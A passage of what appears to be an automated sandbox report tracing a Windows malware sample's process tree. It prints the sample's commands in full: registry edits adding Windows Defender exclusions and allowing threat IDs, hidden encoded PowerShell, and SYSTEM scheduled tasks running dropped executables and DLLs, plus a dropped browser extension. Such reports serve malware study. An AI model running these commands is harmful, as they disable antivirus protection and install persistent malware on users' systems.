Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5296
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2172
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3984
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4020
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4176
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5912
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4464
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4516
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5192
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5736
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5828
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:784
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3060
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1140
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3124
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5536
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3340
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3484
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ggpuazTmQ" /SC once /ST 04:58:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:2964
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "ggpuazTmQ"
  2⤵
  PID:3052
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "ggpuazTmQ"
  2⤵
  PID:6100
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 11:35:28 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\VXepUMX.exe\" y7 /uChNdidgo 385118 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:5824
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "WKALCIrwIEiqhKBsn"
  2⤵
  PID:1464
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3280 -s 688
  2⤵
  - Program crash
  PID:6048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2244
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:6108

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4700

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\VXepUMX.exe
C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\VXepUMX.exe y7 /uChNdidgo 385118 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5072
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:1072
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:2260
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:4464
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5552
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:2836
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:2556
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2708
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5352
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4700
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:3376
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:5828
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:3900
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:5180
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1980
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:3124
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:416
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5968
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"
  2⤵
  PID:5684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:2308
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:3820
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:124
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:4928
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4160
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\UCDKYM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:5552
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "jiLwFdOzPPQiWLm2" /F /xml "C:\Program Files (x86)\JipyTrDkU\gcFAFvc.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4992
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "jiLwFdOzPPQiWLm"
  2⤵
  PID:4596
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "jiLwFdOzPPQiWLm"
  2⤵
  PID:5304
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "EyAjTIEydjCaoB" /F /xml "C:\Program Files (x86)\tegRANPZONsU2\EZEZajE.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4548
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "nwujZhVsLEYxr2" /F /xml "C:\ProgramData\fcblnlcRRSrBhAVB\AhnJsKZ.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3748
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "njgsfWmNUCIAXOmvm2" /F /xml "C:\Program Files (x86)\krdeMCnRKomDOvwVunR\GtRnvMb.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4876
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ZXdYLGWImophNcyfuyr2" /F /xml "C:\Program Files (x86)\YLgKyOFzWxOqC\Fvrnqvh.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2376
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "QdCYtDviHOrgqJLgZ" /SC once /ST 07:47:04 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ZmzskowerwXEonlG\TgOuANxj\wpptwQv.dll\",#1 /edidngdc 385118" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:1908
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "QdCYtDviHOrgqJLgZ"
  2⤵
  PID:4228
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "YPnLu1" /SC once /ST 09:59:28 /F /RU "Admin" /TR "\"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe\" --restore-last-session"
  2⤵
  - Creates scheduled task(s)
  PID:4828
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "YPnLu1"
  2⤵
  PID:1028
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "YPnLu1"
  2⤵
  PID:5000
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "WKALCIrwIEiqhKBsn"
  2⤵
  PID:2828
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 2376
  2⤵
  - Program crash
  PID:1700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3280 -ip 3280
1⤵
PID:3052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:612

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\TgOuANxj\wpptwQv.dll",#1 /edidngdc 385118
1⤵
PID:768
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\TgOuANxj\wpptwQv.dll",#1 /edidngdc 385118
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Enumerates system info in registry
  PID:5600
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "QdCYtDviHOrgqJLgZ"
    3⤵
    PID:6056

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --restore-last-session
1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd056b3cb8,0x7ffd056b3cc8,0x7ffd056b3cd8
  2⤵
  PID:1776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2028 /prefetch:2
  2⤵
  PID:5740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 /prefetch:3
  2⤵
  PID:420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2644 /prefetch:8
  2⤵
  PID:4144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
  2⤵
  PID:1388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
  2⤵
  PID:4164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3848 /prefetch:1
  2⤵
  PID:2120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5128 /prefetch:1
  2⤵
  PID:1188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5148 /prefetch:1
  2⤵
  PID:5612
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5700 /prefetch:8
  2⤵
  PID:5868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4188 /prefetch:1
  2⤵
  PID:3472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5884 /prefetch:1
  2⤵
  PID:5248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5976 /prefetch:1
  2⤵
  PID:2768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2036,8304884424270116395,11860195315964623534,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4396 /prefetch:8
  2⤵
  PID:1388

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5028

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 4528 -ip 4528
1⤵
PID:1524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5072 -ip 5072
1⤵
PID:232

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004DC 0x00000000000004E4
1⤵
PID:6024

Network

